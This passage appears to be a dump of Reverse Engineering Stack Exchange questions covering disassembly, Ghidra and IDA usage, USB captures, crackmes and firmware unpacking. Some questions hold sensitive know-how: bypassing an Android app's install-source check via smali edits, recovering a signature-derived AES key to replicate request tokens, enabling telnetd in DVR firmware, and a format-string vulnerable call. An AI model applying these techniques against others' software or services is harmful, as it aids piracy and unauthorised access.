+ +In step 2 (Virtualization), I have to somehow map the extracted Intel instruction set to my virtualized instructions. The Intel instruction set is huge (over 200 instructions). +And I have completely no idea how to do this. Starting with the fact that my virtual machine uses fewer of registers then Intel does. +" +"['disassembly', 'linux', 'qt']"," Title: Find code executed on button press in Qt5 Linux applicationBody: I have an executable of a (rather simple) GUI application on Linux, built in Qt5. I am able to run it, and want to find out what happens internally when I press one of the buttons. +I suspect that the button might not just execute some code but run another executable, which has been packaged into the main one. I want to find out which code is being run, or extract the executable (if my assumption is true), both would be fine. I know roughly what function name to look for, since I can sort of guess it from what the button does and it's tooltip. + +The ultimate goal is to isolate the functionality of the button to be able to run it on the terminal. + +I am new to reverse engineering, please excuse if anything I write is wrong or trivial. So far I have found this and this question which are kind of related and use objdump and readelf, but so far I had no luck with those. +" +"['firmware', 'usb', 'wireshark']"," Title: USB packet capture; understanding the communicationBody: Good Day- + +I have captured via Wireshark some data and am attempting to understand it as well as the communication protocol for USB. + +This one capture contains the sequence 02010c, which tells me the firmware version of a particular target. Wireshark says the request is in an earlier sequence- but I am not understanding where in that particular request is the actual 'request'. So I believe I am having trouble understanding how the URBs are working. + +
Frame 32625: 91 bytes on wire (728 bits), 91 bytes captured (728 bits) on interface wireshark_extcap1928, id 0
+    Interface id: 0 (wireshark_extcap1928)
+    Encapsulation type: USB packets with USBPcap header (152)
+    Arrival Time: May  8, 2020 14:02:24.741579000 Eastern Daylight Time
+    [Time shift for this packet: 0.000000000 seconds]
+    Epoch Time: 1588960944.741579000 seconds
+    [Time delta from previous captured frame: 0.000943000 seconds]
+    [Time delta from previous displayed frame: 0.000943000 seconds]
+    [Time since reference or first frame: 141.773912000 seconds]
+    Frame Number: 32625
+    Frame Length: 91 bytes (728 bits)
+    Capture Length: 91 bytes (728 bits)
+    [Frame is marked: False]
+    [Frame is ignored: False]
+    [Protocols in frame: usb]
+USB URB
+    [Source: 3.12.1]
+    [Destination: host]
+    USBPcap pseudoheader length: 27
+    IRP ID: 0xffffd50384c4da20
+    IRP USBD_STATUS: USBD_STATUS_SUCCESS (0x00000000)
+    URB Function: URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER (0x0009)
+    IRP information: 0x01, Direction: PDO -> FDO
+        0000 000. = Reserved: 0x00
+        .... ...1 = Direction: PDO -> FDO (0x1)
+    URB bus id: 3
+    Device address: 12
+    Endpoint: 0x81, Direction: IN
+        1... .... = Direction: IN (1)
+        .... 0001 = Endpoint number: 1
+    URB transfer type: URB_INTERRUPT (0x01)
+    Packet Data Length: 64
+    [Request in: 32618]
+    [Time from request: 0.008964000 seconds]
+    [bInterfaceClass: HID (0x03)]
+Leftover Capture Data: 7e107bff000882000302010c003500000000000000000000…
+
+ +The request that is referenced: + +
Frame 32618: 27 bytes on wire (216 bits), 27 bytes captured (216 bits) on interface wireshark_extcap1928, id 0
+    Interface id: 0 (wireshark_extcap1928)
+    Encapsulation type: USB packets with USBPcap header (152)
+    Arrival Time: May  8, 2020 14:02:24.732615000 Eastern Daylight Time
+    [Time shift for this packet: 0.000000000 seconds]
+    Epoch Time: 1588960944.732615000 seconds
+    [Time delta from previous captured frame: 0.000033000 seconds]
+    [Time delta from previous displayed frame: 0.000033000 seconds]
+    [Time since reference or first frame: 141.764948000 seconds]
+    Frame Number: 32618
+    Frame Length: 27 bytes (216 bits)
+    Capture Length: 27 bytes (216 bits)
+    [Frame is marked: False]
+    [Frame is ignored: False]
+    [Protocols in frame: usb]
+USB URB
+    [Source: host]
+    [Destination: 3.12.1]
+    USBPcap pseudoheader length: 27
+    IRP ID: 0xffffd50384c4da20
+    IRP USBD_STATUS: USBD_STATUS_SUCCESS (0x00000000)
+    URB Function: URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER (0x0009)
+    IRP information: 0x00, Direction: FDO -> PDO
+        0000 000. = Reserved: 0x00
+        .... ...0 = Direction: FDO -> PDO (0x0)
+    URB bus id: 3
+    Device address: 12
+    Endpoint: 0x81, Direction: IN
+        1... .... = Direction: IN (1)
+        .... 0001 = Endpoint number: 1
+    URB transfer type: URB_INTERRUPT (0x01)
+    Packet Data Length: 0
+    [Response in: 32625]
+    [bInterfaceClass: HID (0x03)]
+
+ +I've read a number of different examples on in, out, transfer packets. I'm just failing to see how this is working. + +Is it as simple as... there's another pair of packets further up(down?) that is sending a command to the end point, and the machine is sitting there waiting to respond with an 'in' request from the host to let it know to send the data? +" +"['disassembly', 'android', 'apk', 'security']"," Title: App from playstore runs but the same apk crashes on sideload installBody: On my nougat device, I have downloaded an app from the playstore, which is running great. I then extract the apk from the installed app, and uninstall it and again successfully, with package installer. But the second time on app launch, it crashes. I have analyse both installation with apk analyzer. First one showing com.android.vending as installer and application source as ""Google Play"". Sideload installation showing com.google.android.packageinstaller and source Unkown. + +My first thought is that developer doesn't want users to install the app from unknown sources to avoid MOD app or pirate release, etc., and is checking programatically for these parameter. I have decompiled to java but didn't find any clue where such a condition is begin checked and exception generated. + +There is a permission BIND_GET_INSTALL_REFERRER_SERVICE, may be its causing crash. I know how to decompile and some smali editing and already change verifyinstallation method to true in smali but app still crashing. +" +['hardware']," Title: How does this levitating clock work?Body: I came across the Flyte STORY clock recently (link) and I’m stumped as to how it works. +Does anyone know how it holds the ball against gravity when it’s vertically upright? + + + +I asked Physics but they closed the question immediately. Hopefully this is the right place to ask! +" +"['ida', 'assembly']"," Title: Problem with set of instructions in dissasemblyBody: first of all I'm new to reverse engineering so here's a noob question hahaha, I'm trying to solve a crackme and I found this set of instructions: + + +Why would it move the content of eax into cd:strLength and then do in the inverse way? It doesn't make much sense to me... I would appreciate any help. Thank you all for you time. + +Also, I can't find the value of offset _Z3strB5cxx11, is it because it's a relocation and its value won't be resolved until the dynamic linker resolves it during runtime or am I going crazy? Thanks for your time. +" +"['ida', 'ghidra', 'mach-o', 'macos', 'section']"," Title: How to fix Mach-O segment section to deobfuscate the binaryBody: When reversing a Mach-O crackme file under IDA Free and MacOS, the analysis output a log in the console window that yields warning about Mach-O segments. + +
Loading file 'target' into database...
+Detected file format: Mach-O file (EXECUTE). X86_64
+...
+Autoanalysis subsystem has been initialized.
+Type library 'macosx64' loaded. Applying types...
+Types applied to 0 names.
+0x10000A6F0: section file offset invalid: (5242; expected A6F0); possibly the file was modified to hinder analysis!
+  0. Creating a new segment  (000000010000A6F0-000000010044A776) ... ... OK
+0x10044A776: section file offset invalid: (4460BF; expected 44A776); possibly the file was modified to hinder analysis!
+  1. Creating a new segment  (000000010044A776-000000010044B5CE) ... ... OK
+0x10044B5D0: section file offset invalid: (44ADC0; expected 44B5D0); possibly the file was modified to hinder analysis!
+  2. Creating a new segment  (000000010044B5D0-000000010044CDB4) ... ... OK
+0x10044CDB4: section file offset invalid: (44C84B; expected 44CDB4); possibly the file was modified to hinder analysis!
+
+... etc [repeating]
+
+ +After analysis, the MachO is properly disassembled and I can continue reversing process. The issue arise when I try to decompile the same binary under Ghidra. + +For some reason, Ghidra, nor any other disassemble/decompiler software, does not demangle and decompile the binary properly. It shows a lot of idbs and undefined ASM calls. Upon researching further, I found out this technique is shown in MachO Tricks by qw as Mach-O obfuscation tricks. A issue is raised in Ghidra repository too. + +How to fix those segments via Ghidra, or any other tool for that matter so that the disassemble code will be readable and reversible? + +
+ +The binary is Hopper Disassembler which is ALLOWED to be reverse engineered. As per ToS presented. +" +"['encryption', 'python']"," Title: help about methodologyBody: I am a beginner in reverse engineering. + +For a challenge I need to reverse a code in python this code use enigma algorithm : +To found the good configuration to decode the enigma code received. + +The goal is to found the good configuration the bellow : + +
def create_configuration():
+number_of_rotors = random.randrange(3, 6)
+rotates_amounts = [3, 5, 7, 11, 17, 19, 23]
+
+result = []
+for _ in range(number_of_rotors):
+    rotor = """".join(random.sample(string.ascii_uppercase, 26))
+    rotates_amount = random.choice(rotates_amounts)
+    result.append([rotor, rotates_amount])
+return result
+
+ + + +code : + +
def create_configuration(number_of_rotors, rotates_amounts):
+result = []
+    for i in range(number_of_rotors):
+    rotor = """".join(random.sample(string.ascii_uppercase, 26))
+    rotates_amount = rotates_amounts[i]
+    result.append([rotor, rotates_amount])
+return result
+
+ +I added The generator function to generate all the possibilities as (i am using itertools): + [3,3,3,3,3,3,3],[3,3,3,3,3,5],... + +
def generators():
+values = []
+val = [3, 5, 7, 11, 17, 19, 23]
+for _set in product(val, repeat=7):
+    values.append(_set)
+return values
+
+ +This part of code also generate randomly ascii list : + +
rotor = """".join(random.sample(string.ascii_uppercase, 26))
+
+ +So my questions is : + + + +Thank you very much. +" +"['decompilation', 'ghidra']"," Title: How to improve Ghidra decompilation of SSE instructions?Body: In practicing Ghidra on a few standard library functions in some executable, I have generally had trouble getting good decompilation output where SSE registers are used as an optimization. I've tried searching for a variety of keyword combinations both here and on the rest of the internet but could not find anything relevant. + +The below examples are from x64 code without debug symbols, so function/struct/variable names are my doing. The type choices did not change/improve the demonstrated issues - but maybe I'm just doing it wrong. I also tried to keep enough context for readability, but I couldn't locate any guidelines this site has in that regard. + +
    +
  1. When a 32 byte std::string is copied (as part of what looks like move construction) using two 128 bit SSE moves, the entire thing is decomposed into 4 byte chunks: + +My std::string data type definition for completeness (exported): + + + +
    struct std_string {
    +  char * data;
    +  char * field_1;
    +  ulonglong size;
    +  ulonglong capacity;
    +};
    +
    + +Disassembly: + +
                             **************************************************************
    +                         *                          FUNCTION                          *
    +                         **************************************************************
    +                         std_string * __fastcall std_string_operator+(std_string 
    +         std_string *      RAX:8          <RETURN>
    +         std_string *      RCX:8          thisOut
    +         undefined8        RDX:8          thisIn
    +         char *            R8:8           stringIn                                XREF[1]:     140106dcc(W)  
    +         longlong          R8:8           size                                    XREF[1]:     140106dcc(W)  
    +         undefined8        RAX:8          thisIn_                                 XREF[1]:     140106de6(W)  
    +                         std_string_operator+
    +   140106dc0 40 53           PUSH       RBX
    +   140106dc2 48 83 ec 20     SUB        RSP,0x20
    +   140106dc6 49 8b c0        MOV        RAX,stringIn
    +   140106dc9 4c 8b ca        MOV        R9,thisIn
    +   140106dcc 49 c7 c0        MOV        size,-0x1
    +             ff ff ff ff
    +   140106dd3 48 8b d9        MOV        RBX,thisOut
    +                         LAB_140106dd6                                   XREF[1]:     140106dde(j)  
    +   140106dd6 49 ff c0        INC        size
    +   140106dd9 42 80 3c        CMP        byte ptr [RAX + size*0x1],0x0
    +             00 00
    +   140106dde 75 f6           JNZ        LAB_140106dd6
    +   140106de0 48 8b d0        MOV        thisIn,RAX
    +   140106de3 49 8b c9        MOV        thisOut,R9
    +   140106de6 e8 75 fe        CALL       std_string_append                                std_string * std_string_append(s
    +             ff ff
    +   140106deb 33 c9           XOR        thisOut,thisOut
    +   140106ded 48 89 4b 10     MOV        qword ptr [RBX + 0x10],thisOut
    +   140106df1 48 89 4b 18     MOV        qword ptr [RBX + 0x18],thisOut
    +   140106df5 0f 10 00        MOVUPS     XMM0,xmmword ptr [thisIn_]
    +   140106df8 0f 11 03        MOVUPS     xmmword ptr [RBX],XMM0
    +   140106dfb 0f 10 48 10     MOVUPS     XMM1,xmmword ptr [thisIn_ + 0x10]
    +   140106dff 0f 11 4b 10     MOVUPS     xmmword ptr [RBX + 0x10],XMM1
    +   140106e03 48 89 48 10     MOV        qword ptr [thisIn_ + 0x10],thisOut
    +   140106e07 48 c7 40        MOV        qword ptr [thisIn_ + 0x18],0xf
    +             18 0f 00 
    +             00 00
    +   140106e0f 88 08           MOV        byte ptr [thisIn_],thisOut
    +   140106e11 48 8b c3        MOV        thisIn_,RBX
    +   140106e14 48 83 c4 20     ADD        RSP,0x20
    +   140106e18 5b              POP        RBX
    +   140106e19 c3              RET
    +
    + +Decompilation: + + + +
    std_string * std_string_operator+(std_string *thisOut,std_string *thisIn,char *stringIn)
    +{
    +  undefined4 uVar1;
    +  undefined4 uVar2;
    +  undefined4 uVar3;
    +  std_string *thisIn_;
    +  longlong size;
    +
    +  size = -1;
    +  do {
    +    size = size + 1;
    +  } while (stringIn[size] != '\0');
    +  thisIn_ = std_string_append(thisIn,stringIn,size);
    +  thisOut->size = 0;
    +  thisOut->capacity = 0;
    +  uVar1 = *(undefined4 *)((longlong)&thisIn_->data + 4);
    +  uVar2 = *(undefined4 *)&thisIn_->field_1;
    +  uVar3 = *(undefined4 *)((longlong)&thisIn_->field_1 + 4);
    +  *(undefined4 *)&thisOut->data = *(undefined4 *)&thisIn_->data;
    +  *(undefined4 *)((longlong)&thisOut->data + 4) = uVar1;
    +  *(undefined4 *)&thisOut->field_1 = uVar2;
    +  *(undefined4 *)((longlong)&thisOut->field_1 + 4) = uVar3;
    +  uVar1 = *(undefined4 *)((longlong)&thisIn_->size + 4);
    +  uVar2 = *(undefined4 *)&thisIn_->capacity;
    +  uVar3 = *(undefined4 *)((longlong)&thisIn_->capacity + 4);
    +  *(undefined4 *)&thisOut->size = *(undefined4 *)&thisIn_->size;
    +  *(undefined4 *)((longlong)&thisOut->size + 4) = uVar1;
    +  *(undefined4 *)&thisOut->capacity = uVar2;
    +  *(undefined4 *)((longlong)&thisOut->capacity + 4) = uVar3;
    +  thisIn_->size = 0;
    +  thisIn_->capacity = 0xf;
    +  *(undefined *)&thisIn_->data = 0;
    +  return thisOut;
    +}
    +
    + +I would understand copying the four fields of eight bytes, or (in some form or another) expressing two 128 or one 256 bit copy. I assume the above four byte chunks is how MOVUPS is encoded in Ghidra, but it doesn't seem very helpful to me at all. This kind of copy (via SSE) happens relatively often everywhere, so having 16 lines of noise every time is annoying. + +(Also, don't ask me about the funky function signature, I have no idea what the compiler was on about.)
  2. +
+ +
+ +
    +
  1. A PUNPCKLBW used in memset (which here just fills XMM0 by repeating each of the lower 8 bytes, effectively broadcasting the single byte to set to all 16 bytes of XMM0) blows up into dozens of lines of gibberish (which faithfully emulates the effect, I'm sure, but it's not helpful): + +Disassembly: + +
                         **************************************************************
    +                     *                          FUNCTION                          *
    +                     **************************************************************
    +                     longlong * __fastcall memset(void * location, byte byteT
    +     longlong *        RAX:8          <RETURN>
    +     void *            RCX:8          location
    +     byte              DL:1           byteToSet                               XREF[1]:     1411960a8(W)  
    +     ulonglong         R8:8           count
    +     undefined8        R9:8           inputByteRepeated8                      XREF[1]:     1411960a0(W)  
    +     undefined2        DX:2           inputByteRepeated2                      XREF[1]:     1411960a8(W)  
    +                     memset                                          XREF[518]:  [...]
    + 141196090 4c 8b d9        MOV        R11,location
    + 141196093 0f b6 d2        MOVZX      EDX,DL
    + 141196096 49 b9 01        MOV        R9,0x101010101010101
    +           01 01 01 
    +           01 01 01 01
    + 1411960a0 4c 0f af ca     IMUL       R9,RDX
    + 1411960a4 49 83 f8 10     CMP        R8,0x10
    + 1411960a8 0f 86 f2        JBE        LAB_1411961a0
    +           00 00 00
    + 1411960ae 66 49 0f        MOVQ       XMM0,R9
    +           6e c1
    + 1411960b3 66 0f 60 c0     PUNPCKLBW  XMM0,XMM0
    +                      [...]
    +
    + +Decompilation: + + + +
    longlong * memset(void *location,byte byteToSet,ulonglong count)
    +{
    +  // [...]
    +  ushort inputByteRepeated2;
    +  ulonglong inputByteRepeated8;
    +  undefined4 uVar5;
    +  undefined4 uVar7;
    +  undefined4 uVar8;
    +  undefined auVar6 [13];
    +
    +  inputByteRepeated8 = (ulonglong)byteToSet * 0x101010101010101;
    +  inputByteRepeated2 = (ushort)inputByteRepeated8;
    +  _inputByteRepeated2 = (uint)inputByteRepeated8;
    +  if (count < 0x11) {
    +    // [...]
    +  }
    +  auVar6[6] = SUB141(ZEXT814(inputByteRepeated8) >> 0x30,0);
    +  auVar6 = ZEXT813(inputByteRepeated8);
    +  register0x0000120c =
    +       SUB164(CONCAT313(SUB163(CONCAT214(SUB162(CONCAT115(SUB161(ZEXT816(inputByteRepeated8) >> 0x38
    +                                                                 ,0),
    +                                                          CONCAT114(SUB151(ZEXT815(
    +                                                  inputByteRepeated8) >> 0x38,0),
    +                                                  ZEXT814(inputByteRepeated8))) >> 0x70,0),
    +                                         CONCAT113(auVar6[6],auVar6)) >> 0x68,0),
    +                        CONCAT112(auVar6[6],ZEXT812(inputByteRepeated8))) >> 0x60,0);
    +  _auVar6 = CONCAT79(SUB167(CONCAT610(SUB166(CONCAT511(SUB165(CONCAT412(register0x0000120c,
    +                                                                        CONCAT111(SUB131(auVar6 >> 
    +                                                  0x28,0),ZEXT811(inputByteRepeated8))) >> 0x58,0),
    +                                                  CONCAT110(SUB121(ZEXT812(inputByteRepeated8) >>
    +                                                                   0x28,0),
    +                                                            (unkuint10)inputByteRepeated8)) >> 0x50,
    +                                             0),
    +                                      CONCAT19(SUB131(auVar6 >> 0x20,0),(unkuint9)inputByteRepeated8
    +                                              )) >> 0x48,0),
    +                     (unkuint9)inputByteRepeated8 & 0xffffffffffffffff | 0 << 0x40);
    +  register0x00001208 = SUB168(_auVar6 >> 0x40,0);
    +  _auVar6 = CONCAT115(SUB1611(CONCAT106(SUB1610(CONCAT97(SUB169(CONCAT88(register0x00001208,
    +                                                                         (inputByteRepeated8 >> 0x18
    +                                                                         ) << 0x38) >> 0x38,0),
    +                                                         ((uint7)inputByteRepeated8 >> 0x18) << 0x30
    +                                                        ) >> 0x30,0),
    +                                        ((uint6)inputByteRepeated8 >> 0x10) << 0x28) >> 0x28,0),
    +                      ((uint5)inputByteRepeated8 >> 0x10) << 0x20);
    +  _auVar6 = CONCAT142(SUB1614(CONCAT133(SUB1613(CONCAT124(SUB1612(_auVar6 >> 0x20,0),
    +                                                          (_inputByteRepeated2 >> 8) << 0x18) >>
    +                                                0x18,0),((uint3)inputByteRepeated8 >> 8) << 0x10) >>
    +                              0x10,0),inputByteRepeated2 & 0xff | inputByteRepeated2 << 8);
    +  uVar7 = SUB164(_auVar6 >> 0x20,0);
    +  uVar5 = SUB164(_auVar6,0);
    +  uVar8 = SUB164(_auVar6 >> 0x40,0);
    +
    +  // [...]
    +
    + +The remaining decompilation then also uses these awkward separate 4-byte chunks whenever the code just does a MOVAPS xmmword ptr [location],XMM0 or similar. Took me a while to even recognize this entire function as memcpy as a result!
  2. +
+ +
+ +How can I make the decompiled code more readable in these cases (or avoid the clutter in the first place)? + +
+ +I'd tag this question with SSE if it already existed as a tag, but I'm reluctant to create it since I don't know this community well enough yet. And of course: Improvement suggestions welcome! +" +"['arm64', 'aarch64']"," Title: reversing enrichment routineBody: I want to know where a specific std::string comes from, find the enrichment routine in the C++ application I'm reversing. + +The variable I'm looking for it at @ [X21,#8], I don't fully understand the following code, is that @ *(*off_1B2000) + 8) ? ( off_1B2000.readPointer().add(8).readPointer() ? ) + +Do I need to look for who sets the global pointer off_1B2000 ? + +Is that an inline constructor ? + +Let's assume I break in the start routine, I want to know where to set write watchpoint to figure out who writes to *(x21+8) +do I set @ *(*off_1B2000) + 8) ? + + + +
loc_9F0000
+ADRP            X0, #off_1B2000@PAGE
+ADD             X21, SP, #0x260+v1
+ADD             X24, SP, #0x260+v1
+MOV             X8, X24
+LDR             X0, [X0,#off_1B2000@PAGEOFF]
+STR             XZR, [X21,#0x50]
+ADD             X0, X0, #0x18
+STR             X0, [X21]
+STR             X0, [X21,#8] // <<  *(x21+8)=x0 This is who I'm looking for
+STR             X0, [X21,#0x10]
+STR             X0, [X21,#0x18]
+STR             X0, [X21,#0x20]
+STR             X0, [X21,#0x28]
+STR             X0, [X21,#0x30]
+STR             X0, [X21,#0x38]
+STR             X0, [X21,#0x40]
+MOV             W0, #0xFFFFFFFF
+STR             W0, [X21,#0x48]
+MOV             W0, #1
+STR             W0, [X21,#0x4C]
+MOV             X0, X19
+STR             WZR, [X21,#0x58]
+STR             WZR, [X21,#0x5C]
+STRB            WZR, [X21,#0x60]
+BL              sub_9F7000
+
+" +"['assembly', 'decompilation', 'gcc']"," Title: Force gcc to use more complex instructionsBody: I am reverse engineering a piece of assembly. I am trying to write the equivalent code in C, however, when I compile my code, gcc prefers to use simple instructions instead of the complex ones that are used in my assembly. I was wondering if I can suggest or force gcc to use more complex instructions. + +EDIT: I have already tried using the -O options but they will change lots of other variables and therefore, don't look like a good solution. + +You can find examples here: + +
// original assembly
+lea     rdx, [rax+0x20]
+
+// generated by gcc
+add     rax, 0x20
+mov     rdx, rax
+
+// C code
+0x20+((uint8_t *)lParm1)  // long lParm1
+
+ +
// original assembly
+test    eax, eax
+
+// generated by gcc
+mov     [rbp-0x10], eax
+cmp     [rbp-0x10], 0x0
+
+// C code
+if (!iVar)  // int iVar
+
+ +
// original assembly
+mov     eax, [rax+0x40]
+
+// generated by gcc
+add     rax, 0x40
+mov     eax, [rax]
+
+// C code
+(float)*(int *)(lParm1 + 0x40)
+
+" +"['decompilation', 'python', 'ghidra']"," Title: Ghidra Python - cancel decompilation taskBody: The way to decompile a function in Ghidra Python is: + +
    decomp = DecompInterface()
+    decomp.openProgram(currentProgram)
+
+    decompile = decomp.decompileFunction(func, 1000, monitor)
+
+ +However, in some cases, probably due to an error or corner case situations, the decompilation takes much more than expected. + +Any ideas on how is it possible to cancel a decompilation task, using any kind of timeout, in Ghidra Python? I know that it's possible in the GUI. +" +"['hexadecimal', 'float']"," Title: How this Float “4-bytes” is converted to Short_signed “2-bytes”?Body: + +Hi, please help me on this problem, I don't understand how this Float ""4-bytes"" or IEEE 754 floating point, is converted to short_signed ""2-bytes"". + +First, I convert the float ""4-bytes"" hexadecimal to float decimal, then I convert this float decimal to hexadecimal again. and I get the short_signed result. + +But the problem when I put the normals or UVs, I get always 0.xxxx when I convert this 0.xxxx to hexadecimal doesn't give the result like the short_signed in the image or excel file. + +Here is the website to convert hexadecimal to IEEE 754: https://gregstoll.com/~gregstoll/floattohex/ (check swap endianness) and the website to convert decimal to hexadecimal: https://www.rapidtables.com/convert/number/decimal-to-hex.html + +Here is the full Float 4-bytes to Short_signed 2-bytes excel file for results: https://drive.google.com/open?id=1oKxVuqFVcVX3NEGLwzFvsZqXos1PwYIA + +Thanks in advance. +" +"['windows', 'debugging', 'memory']"," Title: What is the difference between mapped and private memory segments in xdbg? and what is a reserved segment?Body: So in xdbg in the memory map, i can see that some segments are mapped and some are private, at first i thought maybe mapped means it has a corresponding file on disk and its the mapped version of that, but there are so many mapped segments which don't have a corresponding file, some of which are reserved + +so i have two questions: + +
    +
  1. What is the difference between mapped and private segments?
  2. +
  3. What are these (reserved) sections? what does reserved mean? + +
  4. +
+" +"['android', 'encryption', 'apk']"," Title: Android packageInfo signatureBody: Are there anyways I can learn what packageInfo.signatures[0] is so I can use it to apply the same algorithm in Python. + +To further explain: + +
    private static SecretKeySpec a(Context context) {
+        try {
+            PackageInfo packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), 64);
+            if (!(packageInfo == null || packageInfo.signatures == null || packageInfo.signatures.length <= 0)) {
+                return new SecretKeySpec(Arrays.copyOf(packageInfo.signatures[0].toByteArray(), 16), ""AES"");
+            }
+        } catch (NameNotFoundException e2) {
+            ThrowableExtension.a(e2);
+        }
+        return null;
+    }
+
+ +This android app is sending some sort of a key that is changing based on timestamp with every request it is sending. And it is using the above code for creating a SecretKeySpec which then gets used in below. + +
    @NonNull
+    private synchronized String d(String str) {
+        byte[] digest;
+        try {
+            byte[] bytes = str.getBytes(""UTF-8"");
+>>>>>>>     this.r.init(2, this.l);
+            byte[] doFinal = this.r.doFinal(this.k);
+            byte[] a2 = Bytes.a(doFinal, this.j, bytes, doFinal, this.n.a().getBytes(""UTF-8""));
+            digest = this.q.digest(a2);
+            Arrays.fill(a2, 0);
+            Arrays.fill(doFinal, 0);
+        } catch (Exception e2) {
+            throw new RuntimeException(e2);
+        }
+        return jl.a(digest);
+    }
+
+ +So, I know that the function argument str is for some reason currentTimeMillis * 1151 which gets used in byte[] a2 = ... line then gets hashed with sha1 there comes the time based changing part. What I can't find is what signatures[0] is in this context and how can I achieve it, in the construction of the class, this.l is assigned with SecretKeySpec ( signature[0] ). this.r is an AES Cipher. From the readings I made, I think the ""2"" in init(2, this.l) means decode mode. + +And Can you please explain to me what is the effect of filling a2 and doFinal variables with 0(zeroes) in this context as it doesn't get used anywhere else. +" +"['android', 'static-analysis']"," Title: methods that have zero usage in jadx?Body: so i've been reversing this ai assistant app to figure out what kind of forensic data it leaves on local file system. during static analysis with jadx-gui i found some interesting methods that take string pathnames as parameters and store encrypted json files on that path. but the thing is, these kind of methods has zero usage and appearances on code other than their declarations. none of them or their classes were linked to any receiver method so i have no idea what to make of this. + +So are there any kind of implications regarding methods that only declared once and not used?? +Sorry for not sharing and code. i'm not sure i can do that :/ +" +"['disassembly', 'binary-analysis', 'elf', 'binary', 'strings']"," Title: Extracting strings from Go binariesBody: Is there an easy way to extract all of the strings from Go binaries that will work cross architecture? +The problem with Go is that strings are stored without a null terminator, so you can't use the "strings" command plainly. +I found two solutions so far - + +Is there a more generic and correct way to extract the strings from Go compiled binaries? +" +"['ida', 'command-line']"," Title: How to specify path of output database in IDA Pro?Body: I'm trying to generate IDB files from the command-line using the -o flag of IDA, something like this: +ida.exe -B input.dll -oC:\Results\input.idb. However, it seems that the value of the -o arguments are completely ignored. + +I've tried this with ida.exe, ida64.exe, idat.exe, and idat64.exe. I've tried adding -c and also tried removing -B flags. None of these work. +" +"['ida', 'obfuscation', 'anti-debugging', 'deobfuscation']"," Title: Guidelines for dealing with obfuscated codeBody: I have taken a deep dive into reversing software with IDA, I used Ghidra before. I have already solved a couple of basic crackmes now I have targeted another one which's code is obfuscated, also has anti-debugging features and as far as I can understand it modifies its code during the the tls callbacks (at least thats what IDA indicated when stepping through the tls callbacks, there are 3 of them). I suspect the tls callbacks check for debuggers and also it unpacks the executable. + +I would like to ask a couple of questions in connection with this. + + + +I am looking for any general or specific guidelines you guys can throw me, in order to defeat their obfuscation. + +Thank you +" +['game-hacking']," Title: Help with decoding japanese text from binaryBody: I'm building a fan website for a japanese mobile game. I'd like to have access to game data like character stats and ability names. I'll start by saying that this is the first time I have done something like this and could use any help. + +This is what I have done so far. + + + +Here is an example of one of the smaller files, the japanese text are relevant and are not random. + + +As I said in the start, this is my first exposure to such things. I am stuck and welcome any help on what I can do next. + +For reference, here are some of the files +" +"['debugging', 'radare2', 'dynamic-linking']"," Title: radare2 stop on lazy loaded library (gdb's stop-on-solib-events)Body: I am running an application and would like to set a breakpoint, as soon as a relevant shared library is loaded. On gdb I can achieve it via + +
set stop-on-solib-events 1
+
+ +I've been unable to find anything related for radare2. Help would be greatly appreciated. +" +"['debugging', 'ollydbg']"," Title: Is it possible to view PE headers in xdbg just like ollydbg?Body: In ollydbg you can view the PE header of a module, by going into memory map and double clicking on the PE headers, but i couldn't find a way to do this in XDBG, is it possible? +" +"['ida', 'symbols']"," Title: IDA pro not showing function names properlyBody: I am working with a C++ application in IDA and whenever I name a function with a :: or a ~ symbol it shows up in the function window as an underscore which is very hard to read (ex. Class::Function shows up as Class__Function) + +How can I make it so that in the function window it will show the actual symbols and not underscores? Every database that I open shows the function names like this except mine. + +I am using IDA Pro 7.0 +" +"['ida', 'windbg', 'memory-dump']"," Title: bad memory mapping in case of MEMORY dump IDA <-> WinDbgBody: when I open the debug dump (IDA x64) , I don't have the memory ranges. Exactly like in this question: + +ESP out of range of "Stack View" in IDA + +It used to be fine, but I don't have the menu edit-> ""manual memory regions"" as I am on IDA 7.4. (I guess) + +I tried to add a segment and it didn't work! + +windbg 10.0.18362.1 +" +"['linux', 'flash', 'binwalk']"," Title: Unpacking, modifying, repacking and flashing a firmwareBody: I've been trying to figure out how to modify the firmware on a DVR I bought for cheap recently. The built in software isn't great and doesn't offer any option for exporting video other than plugging a USB drive in and running an export through their UI. Ideally I'd like to modify it to export over FTP or NFS or something on a schedule. + +You can upgrade the firmware on the device by putting the manufacturer provided upgrade image on a USB drive, plug it in, power on the device, then let it do it's thing to upgrade the firmware. + +So I downloaded the firmware and ran binwalk on it. It was able to extract the roofs and I can see that it's running a flavor of embedded Linux. Here is the output that came with the files I extracted: + +

+Scan Time:     2020-05-15 02:16:35
+Target File:   /vagrant/rootfs-3531dv100
+MD5 Checksum:  18a010179a1e5ae03c260ccc9609ddbc
+Signatures:    404
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             uImage header, header size: 64 bytes, header CRC: 0xCB1642A1, created: 2019-09-26 01:53:07, image size: 9761796 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x35F26A52, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: ""hirootfs""
+64            0x40            JFFS2 filesystem, little endian
+
+ +In the files on the rootfs I found the init scripts that get run. Funny enough there's a call in there to start telnetd that's commented out. There's also a password for the root user set in /etc/passwd. + +My question is this: if I modify the init script to uncomment that line so it runs telnetd at boot and generate a new password hash for the root user in /etc/password, how do I package it back up into a bootable image that I can drop onto a USB drive? Will that even work? +" +"['ida', 'linux', 'gdb']"," Title: Is address in program can changeBody: I talking about linux arch. + +When I open program in Ida (statically ) I can see all instructions address like 0x20da mov r8 r2 + +When I want use that address to breakpoint (for example with ptrace or gdb ) Is there ant situation that this address will change? + +I know the ASLR can change the base address of libraries that loaded , but is instruction's address that not include in library can change when the program is running? + +All of process/binary that I see the address's instruction didn't change compare runtime and what you can see in Ida . + +If this address can change, how can I know if is this address may change (maybe flag in binary or flag in system) and how can I find out what is the address when the process is already running. +" +"['exploit', 'arm64']"," Title: Format String Direct Parameter BehaviorBody: I am investigating a format string vulnerability on arm64 (linked against musl libc), and am encountering some odd behavior while debugging the output. + +From the decompilation, the program has a classic format string vulnerability that boils down to: + +
fprintf(stdout, user_controlled_data);
+
